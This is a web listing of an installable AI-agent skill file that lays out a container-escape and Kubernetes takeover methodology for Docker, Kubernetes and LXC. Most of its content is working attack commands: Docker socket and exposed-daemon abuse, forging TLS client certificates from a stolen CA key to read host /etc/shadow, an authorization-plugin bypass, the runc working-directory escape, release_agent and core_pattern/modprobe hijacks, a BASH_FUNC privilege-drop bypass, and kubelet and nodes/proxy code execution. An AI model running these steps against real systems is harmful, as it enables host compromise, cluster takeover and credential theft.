offensive-techniques/container-technique/SKILL.md
Container methodology: Identifying containerization limits, Docker/K8s misconfigurations, and executing escapes to the host node.
npx skillsauth add aeondave/malskill container-techniqueInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Goal: Exploit container environments (Docker, Kubernetes, LXC) to achieve host-level code execution, horizontal pod movement, or cluster takeover.
.dockerenv, kubepods in cgroups, or specific mount patterns.Determine the isolation boundaries.
ls -la /.dockerenv ; cat /proc/1/cgroupcapsh --print (look for CAP_SYS_ADMIN, CAP_SYS_MODULE, CAP_SYS_PTRACE).kube-dns or metadata endpoints (e.g. 169.254.169.254 or GCP/Azure equivalents).ls -la /var/run/docker.sock. If writable (or you are in the docker group), attach the host root filesystem to a new container — with the CLI or the REST API via curl --unix-socket when no docker binary is present. Full flows + host bind-mount abuse: references/socket-and-mounts.md.--privileged): capsh --print shows a single dangerous cap (CAP_SYS_MODULE, CAP_DAC_READ_SEARCH, CAP_SYS_PTRACE, CAP_MKNOD…). Each has its own escape — see references/capability-escapes.md.ss -tlnp | grep -E '2375|2376' or read dockerd -H args in ps. Plain 2375 = instant docker -H tcp://host:2375 run -v /:/mnt .... TLS 2376 needs a client cert signed by the daemon CA — hunt the CA key (ca.pem+ca-key.pem, often in /etc/docker/certs, an NFS/world-readable share, or a config repo) and forge one:
openssl genrsa -out c-key.pem 4096; openssl req -new -key c-key.pem -subj /CN=root -out c.csr
printf 'extendedKeyUsage=clientAuth\n' > e.cnf
openssl x509 -req -in c.csr -CA ca.pem -CAkey ca-key.pem -out c.pem -days 365 -extfile e.cnf
docker --tlsverify --tlscacert=ca.pem --tlscert=c.pem --tlskey=c-key.pem -H host:2376 run --rm -v /:/mnt <img> cat /mnt/etc/shadow
If an authorization plugin (--authorization-plugin=authz-broker) denies actions, it keys policy on the client-cert CN — read the policy (/var/lib/authz-broker/policy.json) and set -subj /CN=<allowed-user> (a {"users":["root"],"actions":[""]} entry = full access). Then run -v /:/mnt to read host secrets / a machine keytab / drop an authorized_key.docker run -w /proc/self/fd/8 <img> — the working directory is set before namespace unshare, giving host FS access. Confirm host runc version via strings $(command -v runc) | grep -m1 'runc version' if reachable, otherwise attempt directly.fdisk -l lists host drives or capsh shows CAP_SYS_ADMIN, mount the host filesystem (e.g., mount /dev/sda1 /mnt) or load a malicious kernel module.CAP_SYS_ADMIN is present on cgroups v1, leverage the release_agent feature to spawn host processes./proc/sys/kernel/core_pattern (pipe format) or /proc/sys/kernel/modprobe to make the kernel run an attacker script as root on the host. Works on cgroups v1 and v2. Trigger via SIGSEGV crash or unknown-magic binary execution. Use overlay upperdir from /proc/self/mountinfo for host-accessible read/write path.$(id -u) to decide whether to drop privileges via gosu/su-exec, and /bin/sh is bash, inject BASH_FUNC_id%%=() { echo uid=1000; } as an environment variable. Bash imports it as a function overriding /usr/bin/id, so the check sees non-root and skips the privilege drop. Container stays as real uid 0./var/run/secrets/kubernetes.io/serviceaccount/.curl -skH "Authorization: Bearer $TOKEN" https://$KUBERNETES_SERVICE_HOST/api/v1/namespaces/default/pods/10250 (kubelet), 10255 (kubelet readonly, disabled by default since 1.21 but still common on legacy/GKE), or 2379 (etcd) are exposed internally without authentication. On 10250 the endpoint POST /run/<ns>/<pod>/<container> yields RCE inside any pod.nodes/proxy GET (frequently granted to monitoring/observability tooling) can proxy the kubelet API and exec into arbitrary pods cluster-wide, including control-plane. Test with kubectl auth can-i get nodes/proxy before deeper enum.cat /etc/shadow from the host mount) rather than deploying destructive backdoors.--privileged or CAP_SYS_ADMIN (mount host disk, cgroups release_agent, core_pattern/modprobe_path).CAP_SYS_MODULE, CAP_DAC_READ_SEARCH/CAP_DAC_OVERRIDE (shocker), CAP_SYS_PTRACE (+--pid=host), CAP_MKNOD.curl REST API), the user is in the docker group, or sensitive host paths are bind-mounted (-v /:/host, /etc, /root).development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.